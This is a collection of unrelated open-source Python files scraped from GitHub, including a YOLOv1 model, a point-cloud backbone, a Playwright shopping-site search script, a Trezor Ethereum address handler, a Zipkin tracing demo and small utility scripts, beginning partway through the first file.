word_2}\n r = requests.post(entailment_url, params=params)\n if r.status_code != 200:\n continue\n else:\n response_json = r.json()\n entailment_results = response_json[\"entailment prediction results\"][0][\"entailment\"]\n\n cos = entailment_results[\"cosine similarity score\"]\n kl1 = float(entailment_results[\"word1 -> word2 (KL)\"])\n kl2 = float(entailment_results[\"word2 -> word1 (KL)\"])\n kl_mean = (kl1 + kl2) / 2\n\n results[key] = [cos, kl_mean, kl1, kl2]\n\n print(f'successfully collected {len(results.keys())} entailment measurements, saving to {output_path}')\n\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n output_filename = input_word + '_entailment_results.csv'\n output_file = output_path + output_filename\n\n with open(output_file, 'w', encoding=\"utf8\") as of:\n\n of.write(\"Word 1,Word2,Cosine Sim,KL 1->2,KL 2->1,KL Mean\\n\")\n for result in results.keys():\n res = results[result]\n if res is not None:\n key_parts = result.split('_')\n word_2 = key_parts[1].strip()\n of.write(f\"{input_word},{word_2},{res[0]},{res[2]},{res[3]},{res[1]}\\n\")\n\n\ndef read_kl_from_entailment_results_file(input_path):\n data = []\n with open(input_path, 'r', encoding=\"utf8\") as input_file:\n results = input_file.readlines()\n for result in results[1:]:\n result_data = result.split(',')\n if len(result_data) > 1:\n result_word = result_data[1].strip()\n result_value = float(result_data[5])\n data.append([result_word, result_value])\n\n return data\n\n\ndef read_cos_from_entailment_results_file(input_path):\n data = []\n with open(input_path, 'r', encoding=\"utf8\") as input_file:\n results = input_file.readlines()\n for result in results[1:]:\n result_data = result.split(',')\n if len(result_data) > 1:\n result_word = result_data[1].strip()\n result_value = float(result_data[2])\n data.append([result_word, result_value])\n\n return data\n\n\n# calculates a set of entailment results from part-of-speech tagged word lists\n# from each part-of-speech word list, a set of a given size is taken and compared to all other words from all lists\ndef produce_pos_tagged_entailment_measurements(tagged_list_input_path, output_base_path, size=10, language='en'):\n tagged_lists = os.listdir(tagged_list_input_path)\n print(f\"producing entailment results for pos tagged lists {tagged_lists}\")\n tagged_word_data = []\n print(\"gathering tagged words\")\n for tagged_list in tagged_lists:\n tagged_words = []\n with open((tagged_list_input_path+tagged_list), 'r') as tagged_file:\n for line in tagged_file.readlines():\n tagged_words.append(line.strip())\n tagged_word_data.append([tagged_list, tagged_words])\n\n for target_word_data in tagged_word_data:\n word_list_name = target_word_data[0]\n target_pos_category = word_list_name.split('.')[0].split('_')[-1]\n print(f\"beginning entailment measurements for target part of speech category {target_pos_category}\")\n word_list = target_word_data[1]\n if size > 0:\n word_list_subset = word_list[:size]\n else:\n word_list_subset = word_list[size:] # set size to negative to produce a set of different size\n for target_word in word_list_subset:\n for reference_word_data in tagged_word_data:\n reference_data_name = reference_word_data[0]\n reference_pos_category = reference_data_name.split('.')[0].split('_')[-1]\n output_directory = output_base_path + target_pos_category + '_to_' + reference_pos_category + '/'\n produce_entailment_measurements(target_word, reference_word_data[1], reference_data_name, output_directory, language)\n\n\n# calculate part-of-speech-tagged entailment results for a given tuple list\ndef produce_pos_tagged_entailment_measurements_from_tuple_list(target_tuples, tagged_list_input_path, output_base_path, size=10, language='en'):\n tagged_lists = os.listdir(tagged_list_input_path)\n print(f\"producing entailment results for pos tagged lists {tagged_lists}\")\n tagged_word_data = []\n print(\"gathering tagged words\")\n for tagged_list in tagged_lists:\n tagged_words = []\n with open((tagged_list_input_path+tagged_list), 'r') as tagged_file:\n for line in tagged_file.readlines():\n tagged_words.append(line.strip())\n tagged_word_data.append([tagged_list, tagged_words])\n\n for target_tuple in target_tuples:\n target_word = target_tuple[0]\n target_pos_category = target_tuple[1]\n for reference_word_data in tagged_word_data:\n reference_data_name = reference_word_data[0]\n reference_pos_category = reference_data_name.split('.')[0].split('_')[-1]\n output_directory = output_base_path + target_pos_category + '_to_' + reference_pos_category + '/'\n produce_entailment_measurements(target_word, reference_word_data[1], reference_data_name, output_directory, language)\n\n\ndef read_word_count_dict_from_file(input_path):\n word_counts = {}\n with open(input_path, 'r') as tclf:\n for word_line in tclf.readlines():\n word_count_data = word_line.split(',')\n word = word_count_data[0].strip()\n count = int(word_count_data[1].strip())\n word_counts[word] = count\n return word_counts","repo_name":"menno4000/bsg-python3","sub_path":"model_evaluation/bsg_measure_functions.py","file_name":"bsg_measure_functions.py","file_ext":"py","file_size_in_byte":7136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35430555990","text":"import torch\nimport torch.nn as nn\n\n\narchitecture_config = [\n # (kernal_size, num_filters, stride, padding) 순으로 튜플에 저장\n (7, 64, 2, 3), # 7*7*64\n \"M\", # M은 Maxpool Layer\n # Max pooling이란 map을 M*N으로 잘라낸 후 그 중 가장 큰 값을 고르는 것\n (3, 192, 1, 1), # 3*3*192\n \"M\",\n (1, 128, 1, 0), # 1*1*128\n (3, 256, 1, 1), # 3*3*256\n (1, 256, 1, 0), # 1*1*256\n (3, 512, 1, 1), # 3*3*512\n \"M\",\n [(1, 256, 1, 0), (3, 512, 1, 1), 4], #list일 경우 마지막 index 정수만큼 반복\n (1, 512, 1, 0),\n (3, 1024, 1, 1),\n \"M\",\n [(1, 512, 1, 0), (3, 1024, 1, 1), 2],\n (3, 1024, 1, 1),\n (3, 1024, 2, 1),\n (3, 1024, 1, 1),\n (3, 1024, 1, 1),\n]\n\n\nclass CNNBlock(nn.Module):\n # CNN은 Convolution Neural Network\n # 기본적으로 convolution layer -> pooling layer -> FC layer 순으로 진행\n # CNNBlock은 CNN에서 block을 담당하는 듯..\n def __init__(self, in_channels, out_channels, **kwargs):\n super(CNNBlock, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, bias=False, **kwargs)\n self.batchnorm = nn.BatchNorm2d(out_channels)\n self.leakyrelu = nn.LeakyReLU(0.1)\n\n def forward(self, x):\n return self.leakyrelu(self.batchnorm(self.conv(x)))\n\n\nclass Yolov1(nn.Module): # Yolo v1 모델\n def __init__(self, in_channels=3, **kwargs):\n super(Yolov1, self).__init__()\n self.architecture = architecture_config\n self.in_channels = in_channels\n self.darknet = self._create_conv_layers(self.architecture) # config 배열대로 conv layer 만들기\n # convolution layer는 입력 data로부터 feature를 추출하는 역할을 함\n self.fcs = self._create_fcs(**kwargs)\n\n def forward(self, x): \n x = self.darknet(x)\n return self.fcs(torch.flatten(x, start_dim=1))\n\n def _create_conv_layers(self, architecture): # config 배열을 architecture로 전달\n layers = []\n in_channels = self.in_channels # 값은 3\n\n for x in architecture: # config 안을 for문으로 \n if type(x) == tuple: #convolution layer일 경우\n layers += [ # CNN block 만들어서 layer 배열에 추가\n CNNBlock(\n in_channels, x[1], kernel_size=x[0], stride=x[2], padding=x[3],\n )\n ]\n in_channels = x[1]\n\n elif type(x) == str: # Maxpool layer일 경우\n layers += [nn.MaxPool2d(kernel_size=(2, 2), stride=(2, 2))]\n # pytorch에서 Maxpool 만들어서 layer에 추가하기\n\n elif type(x) == list: # 그림에서 *4, *2처럼\n conv1 = x[0] # convolution layer\n conv2 = x[1] # convolution layer\n num_repeats = x[2] # layer를 반복할 숫자\n\n for _ in range(num_repeats): # for문을 이용해 반복\n layers += [\n CNNBlock( # 첫번쨰 convolution layer를 활용해 만든 CNN block\n in_channels,\n conv1[1],\n kernel_size=conv1[0],\n stride=conv1[2],\n padding=conv1[3],\n )\n ]\n layers += [\n CNNBlock( # 두번째 convolution layer를 활용해 만든 CNN block\n conv1[1],\n conv2[1],\n kernel_size=conv2[0],\n stride=conv2[2],\n padding=conv2[3],\n )\n ]\n in_channels = conv2[1]\n\n return nn.Sequential(*layers)\n\n def _create_fcs(self, split_size, num_boxes, num_classes): #fc layer\n # Fully connected layer -> 완전 연결 되었다\n # 한 층의 모든 뉴런이 그 다음 층의 모든 뉴런과 연결된 상태\n # 1차원 배열의 형태로 평탄화된 행렬을 통해 이미지를 분류하는데 사용되는 계층(?)\n S, B, C = split_size, num_boxes, num_classes\n\n\n return nn.Sequential(\n nn.Flatten(),\n nn.Linear(1024 * S * S, 496),\n nn.Dropout(0.0),\n nn.LeakyReLU(0.1),\n nn.Linear(496, S * S * (C + B * 5)),\n )\n","repo_name":"CUAI-CAU/YOLOv1_implement_using_Tensorflow_or_Pytorch","sub_path":"Seungyeon Lee & Taeyun Kim/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23811128034","text":"\n\ndef func(x):\n return x*x - 4\n\ndef center_rect(function, begin, end, iterations):\n\n\tstep = (end - begin) / iterations\n\tsum, x = 0.0, begin\n\tfor i in range(iterations):\n\t\tsum += function(x + 0.5*step)\n\t\tx += step\n\treturn sum * step\n\n \n\nif __name__ == \"__main__\":\n print(center_rect(func, float(2), float(4), 100))","repo_name":"ellastyko/num-methods","sub_path":"sprint02/t01 - t09/t03.py","file_name":"t03.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36321249961","text":"import torch\nimport torch.nn as nn\n\nfrom vision3d.layers import KPConvBlock, KPResidualBlock, UnaryBlockPackMode\nfrom vision3d.ops import knn_interpolate_pack_mode\n\n\nclass PointBackbone(nn.Module):\n def __init__(self, input_dim, output_dim, init_dim, kernel_size, init_radius, init_sigma):\n super().__init__()\n\n self.encoder1_1 = KPConvBlock(input_dim, init_dim, kernel_size, init_radius, init_sigma)\n self.encoder1_2 = KPResidualBlock(init_dim, init_dim * 2, kernel_size, init_radius, init_sigma)\n\n self.encoder2_1 = KPResidualBlock(\n init_dim * 2, init_dim * 2, kernel_size, init_radius, init_sigma, strided=True\n )\n self.encoder2_2 = KPResidualBlock(init_dim * 2, init_dim * 4, kernel_size, init_radius * 2, init_sigma * 2)\n self.encoder2_3 = KPResidualBlock(init_dim * 4, init_dim * 4, kernel_size, init_radius * 2, init_sigma * 2)\n\n self.encoder3_1 = KPResidualBlock(\n init_dim * 4, init_dim * 4, kernel_size, init_radius * 2, init_sigma * 2, strided=True\n )\n self.encoder3_2 = KPResidualBlock(init_dim * 4, init_dim * 8, kernel_size, init_radius * 4, init_sigma * 4)\n self.encoder3_3 = KPResidualBlock(init_dim * 8, init_dim * 8, kernel_size, init_radius * 4, init_sigma * 4)\n\n self.encoder4_1 = KPResidualBlock(\n init_dim * 8, init_dim * 8, kernel_size, init_radius * 4, init_sigma * 4, strided=True\n )\n self.encoder4_2 = KPResidualBlock(init_dim * 8, init_dim * 16, kernel_size, init_radius * 8, init_sigma * 8)\n self.encoder4_3 = KPResidualBlock(init_dim * 16, init_dim * 16, kernel_size, init_radius * 8, init_sigma * 8)\n\n self.decoder3 = UnaryBlockPackMode(init_dim * 24, init_dim * 8)\n self.decoder2 = UnaryBlockPackMode(init_dim * 12, init_dim * 4)\n self.decoder1 = UnaryBlockPackMode(init_dim * 6, init_dim * 2)\n\n self.out_proj = nn.Linear(init_dim * 2, output_dim)\n\n def forward(self, feats, data_dict):\n feats_list = []\n\n points_list = data_dict[\"points\"]\n neighbors_list = data_dict[\"neighbors\"]\n subsampling_list = data_dict[\"subsampling\"]\n upsampling_list = data_dict[\"upsampling\"]\n\n feats_s1 = feats\n feats_s1 = self.encoder1_1(points_list[0], points_list[0], feats_s1, neighbors_list[0])\n feats_s1 = self.encoder1_2(points_list[0], points_list[0], feats_s1, neighbors_list[0])\n\n feats_s2 = self.encoder2_1(points_list[1], points_list[0], feats_s1, subsampling_list[0])\n feats_s2 = self.encoder2_2(points_list[1], points_list[1], feats_s2, neighbors_list[1])\n feats_s2 = self.encoder2_3(points_list[1], points_list[1], feats_s2, neighbors_list[1])\n\n feats_s3 = self.encoder3_1(points_list[2], points_list[1], feats_s2, subsampling_list[1])\n feats_s3 = self.encoder3_2(points_list[2], points_list[2], feats_s3, neighbors_list[2])\n feats_s3 = self.encoder3_3(points_list[2], points_list[2], feats_s3, neighbors_list[2])\n\n feats_s4 = self.encoder4_1(points_list[3], points_list[2], feats_s3, subsampling_list[2])\n feats_s4 = self.encoder4_2(points_list[3], points_list[3], feats_s4, neighbors_list[3])\n feats_s4 = self.encoder4_3(points_list[3], points_list[3], feats_s4, neighbors_list[3])\n\n latent_s4 = feats_s4\n feats_list.append(latent_s4)\n\n latent_s3 = knn_interpolate_pack_mode(points_list[2], points_list[3], latent_s4, upsampling_list[2])\n latent_s3 = torch.cat([latent_s3, feats_s3], dim=1)\n latent_s3 = self.decoder3(latent_s3)\n feats_list.append(latent_s3)\n\n latent_s2 = knn_interpolate_pack_mode(points_list[1], points_list[2], latent_s3, upsampling_list[1])\n latent_s2 = torch.cat([latent_s2, feats_s2], dim=1)\n latent_s2 = self.decoder2(latent_s2)\n feats_list.append(latent_s2)\n\n latent_s1 = knn_interpolate_pack_mode(points_list[0], points_list[1], latent_s2, upsampling_list[0])\n latent_s1 = torch.cat([latent_s1, feats_s1], dim=1)\n latent_s1 = self.decoder1(latent_s1)\n\n latent_s1 = self.out_proj(latent_s1)\n feats_list.append(latent_s1)\n\n feats_list.reverse()\n\n return feats_list\n","repo_name":"minhaolee/2D3DMATR","sub_path":"experiments/2d3dmatr.7scenes.stage4.level3.stage1/point_backbone.py","file_name":"point_backbone.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"47"} +{"seq_id":"17574206933","text":"import cv2\n\n\nfile = 'G:/dlc/test/test-eight/video_picture_10'\n\nfor z in range(10, 19):\n\tprint(z)\n\t#imgfile = \"G:/dlc/test/test-eight/video_picture_8_1/area/49.jpg\"\n\timgfile = file + '/GVF_snake/' + str(z + 1) + '.bmp'\n\t#imgfile = file + '/original_labeled/' + str(z + 1) + '.bmp'\n\timg = cv2.imread(imgfile)\n\th, w, _ = img.shape\n\n\tgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\t# cv2.imshow('mask', gray)\n\n\tret, thresh = cv2.threshold(gray, 50, 255, cv2.THRESH_BINARY)\n\n\t# find contour\n\t_, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n\t#需要给一个list\n\tc_max = []\n\tfor i in range(len(contours)):\n\t\tcnt = contours[i]\n\t\tarea = cv2.contourArea(cnt)\n\n\t\tif(area < (h/1000000*w/1000000)):\n\t\t\tc_min = []\n\t\t\tc_min.append(cnt)\n\t\t\tcv2.drawContours(img, c_min, -1, (0, 0, 0), thickness=-1)\n\t\t\tcontinue\n\n\t\tc_max.append(cnt)\n\n\tcv2.drawContours(img, c_max, 0, (255, 255, 255), thickness=-1)\n\n\tcv2.imwrite(file + '/GVF_snake/con' + str(z + 1) + '.bmp', img)\n\t# cv2.imshow('mask', img)\n","repo_name":"AnruiWang/project007","sub_path":"draw_contour.py","file_name":"draw_contour.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12114908508","text":"from distutils.cmd import Command\nfrom tkinter import *\nfrom pytube import YouTube\nimport os\n\na = Tk()\na.geometry(\"700x700\")\na.config(bg=\"black\")\na.title(\"OWN VIDEO DOWNLOADER\")\n\nLabel(a,text=\"Youtube\", font=(\"Arial\",29,\"bold\"), bg=\"light pink\").pack()\nLabel(a,text = \"Vido Downloder\" , font = (\"Arail\",29 , \"bold\"), bg=\"light pink\").pack()\n\nlink = StringVar()\nLabel(a,text = \"Enter the link\" , font=(\"Arial\" , 24 , \"bold\")).place(x=20,y=150)\n\nE_link = Entry(a, width=35 , font=31 , textvariable=link , bd=5).place(x = 250, y= 150)\n\ndef fun1():\n\n try:\n\n\n url = YouTube(str(link.get()))\n v = url.streams.first()\n v.download()\n \n Label(a,text = \"DOWNLOAD complated !!\",font = (\"Arial\",26, \"bold\"), bg= \"yellow\").place(x= 150,y= 450)\n Label(a,text=\"Check your folder\", font=(\"Arial\",26 ,\"bold\"), bg=\"yellow\",).place(x = 200 , y=550)\n except:\n Label(a,text=\"Error\" , font=(\"Arial\",29 , \"bold\") , bg=\"red\" ).place(x = 250 , y = 200)\n\n\nButton(a, text=\"DOWNLOAD\", font=(\"Arial\",26,\"bold\"), bg=\"light green\", command=fun1).place(x=200, y=300)\n\n\n\n\n\n\na.mainloop()\n","repo_name":"TaherAbuzeid/simple-projects","sub_path":"youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21600117422","text":"from time import sleep\n\nimport numpy as np\nfrom django.db import transaction\n\nfrom vue_plugins.models import VuePlugin\n\n\ndef update_plugins_info(plugins):\n \"\"\" Updates the info for all passed in plugins and returns a string of results\"\"\"\n error_count = 0\n for plugin in plugins:\n try:\n plugin.update_external_info()\n plugin.save()\n except Exception as e:\n # Log exception and continue\n error_count += 1\n import traceback\n traceback.print_exc()\n print('plugin {} failed for reason: {}'.format(plugin.repo_url, str(e)))\n\n # Make a max of 5 requests per second\n sleep(0.2)\n\n update_plugins_scores()\n plugin_count = len(plugins)\n return \"{} out of {} plugins(s) were updated!\".format(plugin_count - error_count, plugin_count)\n\n\n@transaction.atomic\ndef update_plugins_scores():\n \"\"\"Updates the scores for all plugins\"\"\"\n\n plugins = VuePlugin.objects.all()\n\n download_counts = VuePlugin.objects.values_list('num_downloads_recently', flat=True)\n github_stars = VuePlugin.objects.values_list('num_stars', flat=True)\n\n download_count_90th_percentile = np.percentile(download_counts, 90)\n github_stars_90th_percentile = np.percentile(github_stars, 90)\n\n for plugin in plugins:\n\n # Is the download count in the last 30 days in the top 10% of plugins?\n plugin.has_recent_downloads = plugin.num_downloads_recently > download_count_90th_percentile\n # Is the Github star count in the top 10% of plugins?\n plugin.has_star_status = plugin.num_stars > github_stars_90th_percentile\n\n plugin.score = plugin.calculate_score()\n plugin.save()\n","repo_name":"builtbykrit/vue-watch-api","sub_path":"vue_plugins/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"2703999918","text":"import torch.nn as nn\nfrom im2mesh.pix2mesh.models.decoder import Decoder\n\n\ndecoder_dict = {\n 'simple': Decoder,\n}\n\n\nclass Pix2Mesh(nn.Module):\n ''' Pixel2Mesh model.\n\n First, the input image is passed through a CNN to extract several feature\n maps. These feature maps as well as camera matrices are passed to the\n decoder to predict respective vertex locations of the output mesh\n\n '''\n def __init__(self, decoder, encoder):\n ''' Initialisation.\n\n Args:\n encoder (PyTorch model): The conditional network to obtain\n feature maps\n decoder (PyTorch model): The decoder network\n '''\n super().__init__()\n self.decoder = decoder\n self.encoder = encoder\n\n def forward(self, x, camera_mat):\n fm = self.encoder(x)\n pred = self.decoder(x, fm, camera_mat)\n return pred\n","repo_name":"autonomousvision/occupancy_networks","sub_path":"im2mesh/pix2mesh/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":1334,"dataset":"github-code","pt":"47"} +{"seq_id":"19364829648","text":"import random\nimport time\n\nfrom playwright.sync_api import Page\n\nimport playwright_util\n\nqueries = [\n \"брелок для ауди\",\n \"бершка\",\n \"краска светящаяся\",\n \"кисточка\",\n \"дерево\",\n \"bosch\",\n \"картина\",\n \"носки\",\n \"ipone\",\n \"клетка\"\n]\n\n\ndef run(page: Page):\n page.goto(\"https://wb.ru\")\n time.sleep(3)\n\n amount = random.randint(0, 3)\n print(\"do nothing for {} queries\".format(amount))\n\n for i in range(0, amount):\n page.click(\"input#searchInput\")\n time.sleep(2.5)\n\n query = random.choice(queries)\n page.type(\"input#searchInput\", query, delay=380)\n time.sleep(2)\n page.keyboard.press(\"Enter\")\n time.sleep(6)\n page.wait_for_selector(\"div#catalog_sorter\")\n\n playwright_util.scroll_to_y(page, dest_y=600, delay_every_y=500)\n time.sleep(3)\n playwright_util.scroll_to_y(page, dest_y=0, delta=100, interval_between_scrolls=0.2)\n time.sleep(4)\n page.locator(\"input#searchInput\").fill(\"\")\n","repo_name":"kombarov55/wb_visitor","sub_path":"actions/do_nothing.py","file_name":"do_nothing.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11163137943","text":"from enum import Enum\nfrom dataclasses import dataclass\nfrom typing import Optional, Any, Dict, TypeVar, Type, Callable, cast\n\n\nT = TypeVar(\"T\")\nEnumT = TypeVar(\"EnumT\", bound=Enum)\n\n\ndef from_int(x: Any) -> int:\n assert isinstance(x, int) and not isinstance(x, bool)\n return x\n\n\ndef from_str(x: Any) -> str:\n assert isinstance(x, str)\n return x\n\n\ndef from_bool(x: Any) -> bool:\n assert isinstance(x, bool)\n return x\n\n\ndef from_none(x: Any) -> Any:\n assert x is None\n return x\n\n\ndef from_union(fs, x):\n for f in fs:\n try:\n return f(x)\n except:\n pass\n assert False\n\n\ndef to_enum(c: Type[EnumT], x: Any) -> EnumT:\n assert isinstance(x, c)\n return x.value\n\n\ndef from_dict(f: Callable[[Any], T], x: Any) -> Dict[str, T]:\n assert isinstance(x, dict)\n return { k: f(v) for (k, v) in x.items() }\n\n\ndef to_class(c: Type[T], x: Any) -> dict:\n assert isinstance(x, c)\n return cast(Any, x).to_dict()\n\n\nclass TypeEnum(Enum):\n ABYSS = \"ABYSS\"\n ANIMAL = \"ANIMAL\"\n AUTOMATRON = \"AUTOMATRON\"\n AVIARY = \"AVIARY\"\n BEAST = \"BEAST\"\n BOSS = \"BOSS\"\n CRITTER = \"CRITTER\"\n ELEMENTAL = \"ELEMENTAL\"\n FATUI = \"FATUI\"\n FISH = \"FISH\"\n HILICHURL = \"HILICHURL\"\n HUMAN = \"HUMAN\"\n\n\n@dataclass\nclass Item:\n id: int\n name: str\n type: TypeEnum\n icon: str\n route: str\n beta: Optional[bool] = None\n\n @staticmethod\n def from_dict(obj: Any) -> 'Item':\n assert isinstance(obj, dict)\n id = from_int(obj.get(\"id\"))\n name = from_str(obj.get(\"name\"))\n type = TypeEnum(obj.get(\"type\"))\n icon = from_str(obj.get(\"icon\"))\n route = from_str(obj.get(\"route\"))\n beta = from_union([from_bool, from_none], obj.get(\"beta\"))\n return Item(id, name, type, icon, route, beta)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"id\"] = from_int(self.id)\n result[\"name\"] = from_str(self.name)\n result[\"type\"] = to_enum(TypeEnum, self.type)\n result[\"icon\"] = from_str(self.icon)\n result[\"route\"] = from_str(self.route)\n if self.beta is not None:\n result[\"beta\"] = from_union([from_bool, from_none], self.beta)\n return result\n\n\n@dataclass\nclass Types:\n elemental: str\n hilichurl: str\n abyss: str\n fatui: str\n automatron: str\n human: str\n beast: str\n boss: str\n aviary: str\n animal: str\n fish: str\n critter: str\n\n @staticmethod\n def from_dict(obj: Any) -> 'Types':\n assert isinstance(obj, dict)\n elemental = from_str(obj.get(\"ELEMENTAL\"))\n hilichurl = from_str(obj.get(\"HILICHURL\"))\n abyss = from_str(obj.get(\"ABYSS\"))\n fatui = from_str(obj.get(\"FATUI\"))\n automatron = from_str(obj.get(\"AUTOMATRON\"))\n human = from_str(obj.get(\"HUMAN\"))\n beast = from_str(obj.get(\"BEAST\"))\n boss = from_str(obj.get(\"BOSS\"))\n aviary = from_str(obj.get(\"AVIARY\"))\n animal = from_str(obj.get(\"ANIMAL\"))\n fish = from_str(obj.get(\"FISH\"))\n critter = from_str(obj.get(\"CRITTER\"))\n return Types(elemental, hilichurl, abyss, fatui, automatron, human, beast, boss, aviary, animal, fish, critter)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"ELEMENTAL\"] = from_str(self.elemental)\n result[\"HILICHURL\"] = from_str(self.hilichurl)\n result[\"ABYSS\"] = from_str(self.abyss)\n result[\"FATUI\"] = from_str(self.fatui)\n result[\"AUTOMATRON\"] = from_str(self.automatron)\n result[\"HUMAN\"] = from_str(self.human)\n result[\"BEAST\"] = from_str(self.beast)\n result[\"BOSS\"] = from_str(self.boss)\n result[\"AVIARY\"] = from_str(self.aviary)\n result[\"ANIMAL\"] = from_str(self.animal)\n result[\"FISH\"] = from_str(self.fish)\n result[\"CRITTER\"] = from_str(self.critter)\n return result\n\n\n@dataclass\nclass Data:\n types: Types\n items: Dict[str, Item]\n\n @staticmethod\n def from_dict(obj: Any) -> 'Data':\n assert isinstance(obj, dict)\n types = Types.from_dict(obj.get(\"types\"))\n items = from_dict(Item.from_dict, obj.get(\"items\"))\n return Data(types, items)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"types\"] = to_class(Types, self.types)\n result[\"items\"] = from_dict(lambda x: to_class(Item, x), self.items)\n return result\n\n\n@dataclass\nclass MonsterBase:\n response: int\n data: Data\n\n @staticmethod\n def from_dict(obj: Any) -> 'MonsterBase':\n assert isinstance(obj, dict)\n response = from_int(obj.get(\"response\"))\n data = Data.from_dict(obj.get(\"data\"))\n return MonsterBase(response, data)\n\n def to_dict(self) -> dict:\n result: dict = {}\n result[\"response\"] = from_int(self.response)\n result[\"data\"] = to_class(Data, self.data)\n return result\n\n\ndef monster_base_from_dict(s: Any) -> MonsterBase:\n return MonsterBase.from_dict(s)\n\n\ndef monster_base_to_dict(x: MonsterBase) -> Any:\n return to_class(MonsterBase, x)\n","repo_name":"FuriaPaladins/Itto-Bot-Data","sub_path":"genshin_images/ambr_wrapper_test/monster_base.py","file_name":"monster_base.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27819647524","text":"from trezor.crypto.curve import secp256k1\nfrom trezor.crypto.hashlib import sha3_256\nfrom trezor.messages.EthereumAddress import EthereumAddress\n\nfrom apps.common import paths\nfrom apps.common.layout import address_n_to_str, show_address, show_qr\nfrom apps.ethereum import CURVE, networks\nfrom apps.ethereum.address import address_from_bytes, validate_full_path\n\n\nasync def get_address(ctx, msg, keychain):\n await paths.validate_path(ctx, validate_full_path, keychain, msg.address_n, CURVE)\n\n node = keychain.derive(msg.address_n)\n seckey = node.private_key()\n public_key = secp256k1.publickey(seckey, False) # uncompressed\n address_bytes = sha3_256(public_key[1:], keccak=True).digest()[12:]\n\n if len(msg.address_n) > 1: # path has slip44 network identifier\n network = networks.by_slip44(msg.address_n[1] & 0x7FFFFFFF)\n else:\n network = None\n address = address_from_bytes(address_bytes, network)\n\n if msg.show_display:\n desc = address_n_to_str(msg.address_n)\n while True:\n if await show_address(ctx, address, desc=desc):\n break\n if await show_qr(ctx, address, desc=desc):\n break\n\n return EthereumAddress(address)\n","repo_name":"trezor/trezor-core","sub_path":"src/apps/ethereum/get_address.py","file_name":"get_address.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":353,"dataset":"github-code","pt":"47"} +{"seq_id":"26519465767","text":"import requests\nfrom py_zipkin.zipkin import zipkin_span,create_http_headers_for_new_span\nimport time\nfrom py_zipkin import Encoding\nfrom py_zipkin import Kind\nfrom py_zipkin.request_helpers import create_http_headers\n\ndef do_stuff():\n headers = create_http_headers()\n print(headers)\n res = requests.get('http://localhost:6000/service1/s1', headers=headers)\n # res = requests.get('http://localhost:6000/service1/s2', headers=headers)\n print(res.text)\n return 'OK'\n\ndef do_stuff2():\n headers = create_http_headers()\n print(headers)\n # res = requests.get('http://localhost:6000/service1/s1', headers=headers)\n # res = requests.get('http://localhost:6000/service1/s2', headers=headers)\n res = requests.get('http://192.168.10.104:7041/values/Get2/11', headers=headers)\n print(res.text)\n return 'OK'\n\ndef http_transport(encoded_span):\n print('http_transport')\n # print(encoded_span)\n # encoding prefix explained in https://github.com/Yelp/py_zipkin#transport\n #body = b\"\\x0c\\x00\\x00\\x00\\x01\"+encoded_span\n body=encoded_span\n # zipkin_url=\"http://127.0.0.1:9411/api/v2/spans\"\n zipkin_url=\"http://119.29.33.65:9411/api/v2/spans\"\n #zipkin_url = \"http://{host}:{port}/api/v1/spans\".format(\n # host=app.config[\"ZIPKIN_HOST\"], port=app.config[\"ZIPKIN_PORT\"])\n headers = {\"Content-Type\": \"application/x-thrift\"}\n\n # You'd probably want to wrap this in a try/except in case POSTing fails\n r=requests.post(zipkin_url, data=body, headers=headers)\n print(r.text)\n\nwith zipkin_span(\n service_name='webapp',\n span_name='index',\n transport_handler=http_transport,\n port=7000,\n # kind=Kind.CLIENT,\n sample_rate=100, #0.05, # Value between 0.0 and 100.0\n encoding=Encoding.V2_JSON,\n kind=Kind.SERVER\n):\n with zipkin_span(service_name='webapp', span_name='/s1', encoding=Encoding.V2_JSON, kind=Kind.CLIENT):\n do_stuff()\n\n with zipkin_span(service_name='webapp', span_name='/s2', encoding=Encoding.V2_JSON, kind=Kind.CLIENT):\n do_stuff2()","repo_name":"zznan0o0/AutoInstallShell","sub_path":"zipkin/py/zipkin/z.py","file_name":"z.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"18891569875","text":"times=int(input())\r\nfor i in range(times):\r\n dic={'a':1,'b':1,'c':1,'d':1,'e':1,'f':1,'g':1,'h':1,'i':1,'j':1,'k':1,'l':1,'m':1,'n':1,'o':1,'p':1,'q':1,'r':1,'s':1,'t':1,'u':1,'v':1,'w':1,'x':1,'y':1,'z':1}\r\n output=input()\r\n line=output.lower()\r\n for e in line:\r\n if e in dic:\r\n dic[e]-=1\r\n response=''\r\n for c in dic:\r\n if dic[c]==1:\r\n response+=c\r\n print(output)\r\n if len(response)==0:\r\n print(' pangram')\r\n else:\r\n print(f' Not a pangram, does not contain: {response}')\r\n 